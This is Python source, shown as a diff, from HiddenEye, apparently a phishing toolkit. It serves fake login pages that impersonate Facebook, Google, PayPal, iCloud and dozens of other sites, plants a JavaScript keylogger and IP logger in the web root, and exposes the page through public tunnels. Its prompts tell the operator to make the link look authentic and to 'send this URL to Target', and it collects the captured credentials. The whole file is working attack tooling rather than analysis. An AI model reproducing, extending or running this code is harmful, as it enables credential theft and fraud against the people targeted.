||||
|
||||
run_command(
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-R",
|
||||
"localhost:{0}".format(port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
wait(8)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + url +
|
||||
default_palette[4])
|
||||
except CalledProcessError:
|
||||
wait(4)
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.
|
||||
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||
lnk = input(global_localization.input_line)
|
||||
run_background_command(
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-o",
|
||||
"ServerAliveCountMax=60",
|
||||
"-R",
|
||||
"{0}:80:localhost:{1}".format(lnk, port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
lnk += ".serveousercontent.com"
|
||||
wait(7)
|
||||
try:
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + lnk +
|
||||
default_palette[4])
|
||||
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||
print(localization.
|
||||
lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
wait(4)
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
if is_online:
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_url_option_selection"])
|
||||
print(localization.lang_start_serveo["serveo_phishing_warning"])
|
||||
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
choice = input(global_localization.input_line)
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command("clear")
|
||||
return start_serveo(port)
|
||||
else:
|
||||
print(localization.lang_start_serveo["serveo_is_down"])
|
||||
choice = input("HiddenEye >> ")
|
||||
choice = choice.lower()
|
||||
if choice == "y":
|
||||
return server_selection(port)
|
||||
else:
|
||||
return start_serveo(port)
|
||||
|
||||
|
||||
def start_localxpose(port):
|
||||
localxpose_file = "External_Software/loclx"
|
||||
localxpose_url = (
|
||||
"https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
)
|
||||
if path.isfile(localxpose_file):
|
||||
pass
|
||||
else:
|
||||
if simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" is "x86_64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
|
||||
elif simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" is "aarch64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
with url_request.urlopen(localxpose_url) as loclxzip:
|
||||
with ZipFile(BytesIO(loclxzip.read())) as zip_file:
|
||||
zip_file.extractall("External_Software")
|
||||
chmod("External_Software/loclx", 0o777)
|
||||
|
||||
def random(port):
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_rand_localxpose["localxpose_random_server"])
|
||||
run_command(
|
||||
[
|
||||
"External_Software/loclx",
|
||||
"tunnel",
|
||||
"http",
|
||||
"--to",
|
||||
":{0}".format(port),
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3],
|
||||
port,
|
||||
url,
|
||||
) + "{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
except CalledProcessError:
|
||||
|
||||
wait(4)
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
|
||||
print(global_localization.small_logo)
|
||||
print(
|
||||
"""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
run_command(
|
||||
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
|
||||
% (port, lnk))
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
|
||||
.format(default_palette[0], default_palette[2],
|
||||
default_palette[3], port) + url +
|
||||
"{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
print(
|
||||
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command("clear")
|
||||
return start_localxpose(port)
|
||||
|
||||
|
||||
def start_localtunnel(port, npm):
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
|
||||
format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
try:
|
||||
run_command("{0}lt -p ".format("" if npm else "Server/") + port +
|
||||
((" -s " + s) if s != "" else s) + " > link.url &")
|
||||
wait(3)
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3],
|
||||
port,
|
||||
str(
|
||||
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)).strip("b ' \ n r"),
|
||||
))
|
||||
except CalledProcessError:
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
|
||||
start_localtunnel(port, npm)
|
||||
|
||||
|
||||
def start_openport(port):
|
||||
run_command("clear")
|
||||
|
||||
def manage_url(port):
|
||||
run_command("rm output.txt > /dev/null 2>&1")
|
||||
run_command("openport -K && openport %s > output.txt &" % (port))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# Sleep time is important as the openport command takes some time to give response link.
|
||||
wait(20)
|
||||
run_command(
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
|
||||
) # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
with open("openport.txt") as f:
|
||||
read_data = f.read()
|
||||
if "openport.io/l/" in read_data:
|
||||
print("{0}[{1}*{0}] {1}Got Activation Link...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
else:
|
||||
print(
|
||||
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
output = open("output.txt", "r")
|
||||
output = output.read()
|
||||
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
|
||||
default_palette[0], default_palette[4], output))
|
||||
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
server_selection(port)
|
||||
|
||||
urlFile = open("openport.txt", "r")
|
||||
urltoverify = urlFile.read().strip()
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
|
||||
default_palette[0], default_palette[4], urltoverify))
|
||||
url = input(
|
||||
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
|
||||
.format(default_palette[0], default_palette[4], default_palette[3],
|
||||
port, url))
|
||||
|
||||
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which openport > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"[*] Openport not Installed correctly, Try installing it manually !!"
|
||||
)
|
||||
print("[*] Check Here ... https://openport.io/download")
|
||||
input("\n Press Enter To Go back..")
|
||||
server_selection(port)
|
||||
else:
|
||||
manage_url(port)
|
||||
|
||||
|
||||
def start_pagekite(port):
|
||||
from Defs.ActionManager.simple_informant import credentials_collector
|
||||
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
|
||||
input("\n Press Enter To Try installing Python2 Now..")
|
||||
run_command("apt install python2")
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
server_selection(port)
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
subdomain = input(
|
||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
run_command(
|
||||
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
|
||||
.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print("[!] Please Copy the Generated Link For Further Use")
|
||||
credentials_collector(port)
|
|
@ -0,0 +1,448 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import time
|
||||
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import remove
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
|
||||
module_loading_message = simple_informant.module_loading_message
|
||||
|
||||
|
||||
def start_main_menu():
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(localization.lang_start_main_menu["version_by_darksec"])
|
||||
print(localization.lang_start_main_menu["short_description"])
|
||||
print(localization.lang_start_main_menu["features_summary"])
|
||||
print(localization.lang_start_main_menu["down_line"])
|
||||
print(localization.lang_start_main_menu["attack_vector_message"])
|
||||
print(localization.lang_start_main_menu["phishing_modules_header"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print(localization.lang_start_main_menu["additional_modules"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["additional_modules_list"])
|
||||
|
||||
option = input(global_localization.input_line)
|
||||
option = option.zfill(2)
|
||||
if option == "01":
|
||||
module_loading_message("Facebook")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Facebook", custom_option)
|
||||
elif option == "02":
|
||||
module_loading_message("Google")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["google_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Google", custom_option)
|
||||
elif option == "03":
|
||||
module_loading_message("LinkedIn")
|
||||
custom_option = ""
|
||||
start_phishing_page("LinkedIn", custom_option)
|
||||
elif option == "04":
|
||||
module_loading_message("GitHub")
|
||||
custom_option = ""
|
||||
start_phishing_page("GitHub", custom_option)
|
||||
elif option == "05":
|
||||
module_loading_message("StackOverflow")
|
||||
custom_option = ""
|
||||
start_phishing_page("StackOverflow", custom_option)
|
||||
elif option == "06":
|
||||
module_loading_message("WordPress")
|
||||
custom_option = ""
|
||||
start_phishing_page("WordPress", custom_option)
|
||||
elif option == "07":
|
||||
module_loading_message("Twitter")
|
||||
custom_option = ""
|
||||
start_phishing_page("Twitter", custom_option)
|
||||
elif option == "08":
|
||||
module_loading_message("Instagram")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Instagram", custom_option)
|
||||
elif option == "09":
|
||||
module_loading_message("Snapchat")
|
||||
custom_option = ""
|
||||
start_phishing_page("Snapchat", custom_option)
|
||||
elif option == "10":
|
||||
module_loading_message("Yahoo")
|
||||
custom_option = ""
|
||||
start_phishing_page("Yahoo", custom_option)
|
||||
elif option == "11":
|
||||
module_loading_message("Twitch")
|
||||
custom_option = ""
|
||||
start_phishing_page("Twitch", custom_option)
|
||||
elif option == "12":
|
||||
module_loading_message("Microsoft")
|
||||
custom_option = ""
|
||||
start_phishing_page("Microsoft", custom_option)
|
||||
elif option == "13":
|
||||
module_loading_message("Steam")
|
||||
custom_option = ""
|
||||
start_phishing_page("Steam", custom_option)
|
||||
elif option == "14":
|
||||
module_loading_message("VK")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["VK_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("VK", custom_option)
|
||||
elif option == "15":
|
||||
module_loading_message("iCloud")
|
||||
custom_option = ""
|
||||
start_phishing_page("iCloud", custom_option)
|
||||
elif option == "16":
|
||||
module_loading_message("GitLab")
|
||||
custom_option = ""
|
||||
start_phishing_page("GitLab", custom_option)
|
||||
elif option == "17":
|
||||
module_loading_message("NetFlix")
|
||||
custom_option = ""
|
||||
start_phishing_page("NetFlix", custom_option)
|
||||
elif option == "18":
|
||||
module_loading_message("Origin")
|
||||
custom_option = ""
|
||||
start_phishing_page("Origin", custom_option)
|
||||
elif option == "19":
|
||||
module_loading_message("Pinterest")
|
||||
custom_option = ""
|
||||
start_phishing_page("Pinterest", custom_option)
|
||||
elif option == "20":
|
||||
module_loading_message("ProtonMail")
|
||||
custom_option = ""
|
||||
start_phishing_page("ProtonMail", custom_option)
|
||||
elif option == "21":
|
||||
module_loading_message("Spotify")
|
||||
custom_option = ""
|
||||
start_phishing_page("Spotify", custom_option)
|
||||
elif option == "22":
|
||||
module_loading_message("Quora")
|
||||
custom_option = ""
|
||||
start_phishing_page("Quora", custom_option)
|
||||
elif option == "23":
|
||||
module_loading_message("PornHub")
|
||||
custom_option = ""
|
||||
start_phishing_page("PornHub", custom_option)
|
||||
elif option == "24":
|
||||
module_loading_message("Adobe")
|
||||
custom_option = ""
|
||||
start_phishing_page("Adobe", custom_option)
|
||||
elif option == "25":
|
||||
module_loading_message("Badoo")
|
||||
custom_option = ""
|
||||
start_phishing_page("Badoo", custom_option)
|
||||
elif option == "26":
|
||||
module_loading_message("CryptoCurrency")
|
||||
custom_option = ""
|
||||
start_phishing_page("CryptoCurrency", custom_option)
|
||||
elif option == "27":
|
||||
module_loading_message("DevianArt")
|
||||
custom_option = ""
|
||||
start_phishing_page("DevianArt", custom_option)
|
||||
elif option == "28":
|
||||
module_loading_message("DropBox")
|
||||
custom_option = ""
|
||||
start_phishing_page("DropBox", custom_option)
|
||||
elif option == "29":
|
||||
module_loading_message("eBay")
|
||||
custom_option = ""
|
||||
start_phishing_page("eBay", custom_option)
|
||||
elif option == "30":
|
||||
module_loading_message("MySpace")
|
||||
custom_option = ""
|
||||
start_phishing_page("Myspace", custom_option)
|
||||
elif option == "31":
|
||||
module_loading_message("PayPal")
|
||||
custom_option = ""
|
||||
start_phishing_page("PayPal", custom_option)
|
||||
elif option == "32":
|
||||
module_loading_message("Shopify")
|
||||
custom_option = ""
|
||||
start_phishing_page("Shopify", custom_option)
|
||||
elif option == "33":
|
||||
module_loading_message("Verizon")
|
||||
custom_option = ""
|
||||
start_phishing_page("Verizon", custom_option)
|
||||
elif option == "34":
|
||||
module_loading_message("Yandex")
|
||||
custom_option = ""
|
||||
start_phishing_page("Yandex", custom_option)
|
||||
elif option == "35":
|
||||
module_loading_message("Reddit")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Reddit", custom_option)
|
||||
elif option == "36":
|
||||
module_loading_message("Subitoit")
|
||||
custom_option = ""
|
||||
start_phishing_page("Subitoit", custom_option)
|
||||
elif option == "37":
|
||||
module_loading_message("PlayStation")
|
||||
custom_option = ""
|
||||
start_phishing_page("PlayStation", custom_option)
|
||||
elif option == "38":
|
||||
module_loading_message("Xbox")
|
||||
custom_option = ""
|
||||
start_phishing_page("Xbox", custom_option)
|
||||
elif option == "39":
|
||||
module_loading_message("CUSTOM(1)")
|
||||
custom_option = ""
|
||||
start_phishing_page("CUSTOM(1)", custom_option)
|
||||
elif option == "40":
|
||||
module_loading_message("CUSTOM(2)")
|
||||
custom_option = ""
|
||||
start_phishing_page("CUSTOM(2)", custom_option)
|
||||
"""PHISHING MODULES BELOW"""
|
||||
|
||||
elif option == "0A":
|
||||
module_loading_message("LOCATION")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(
|
||||
localization.
|
||||
lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("LOCATION", custom_option)
|
||||
else:
|
||||
start_main_menu()
|
||||
|
||||
|
||||
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||
run_command(["chmod", "-R", "777", "Server"])
|
||||
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
||||
mkdir("Server/www")
|
||||
pathlib_Path("Server/www/usernames.txt").touch()
|
||||
pathlib_Path("Server/www/ip.txt").touch()
|
||||
copyfile("WebPages/ip.php", "Server/www/ip.php")
|
||||
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
|
||||
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
|
||||
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
|
||||
try:
|
||||
remove("link.url")
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
if custom_option == "1" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_standard/", "Server/www/")
|
||||
elif custom_option == "2" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
|
||||
elif custom_option == "3" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_security_fake/", "Server/www/")
|
||||
elif custom_option == "4" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_messenger/", "Server/www/")
|
||||
elif custom_option == "1" and page == "Google":
|
||||
webpage_set("WebPages/google_standard/", "Server/www/")
|
||||
elif custom_option == "2" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
|
||||
elif custom_option == "3" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_web/", "Server/www/")
|
||||
elif page == "LinkedIn":
|
||||
webpage_set("WebPages/linkedin/", "Server/www/")
|
||||
elif page == "GitHub":
|
||||
webpage_set("WebPages/GitHub/", "Server/www/")
|
||||
elif page == "StackOverflow":
|
||||
webpage_set("WebPages/stackoverflow/", "Server/www/")
|
||||
elif page == "WordPress":
|
||||
webpage_set("WebPages/wordpress/", "Server/www/")
|
||||
elif page == "Twitter":
|
||||
webpage_set("WebPages/twitter/", "Server/www/")
|
||||
elif page == "Snapchat":
|
||||
webpage_set("WebPages/Snapchat_web/", "Server/www/")
|
||||
elif page == "Yahoo":
|
||||
webpage_set("WebPages/yahoo_web/", "Server/www/")
|
||||
elif page == "Twitch":
|
||||
webpage_set("WebPages/twitch/", "Server/www/")
|
||||
elif page == "Microsoft":
|
||||
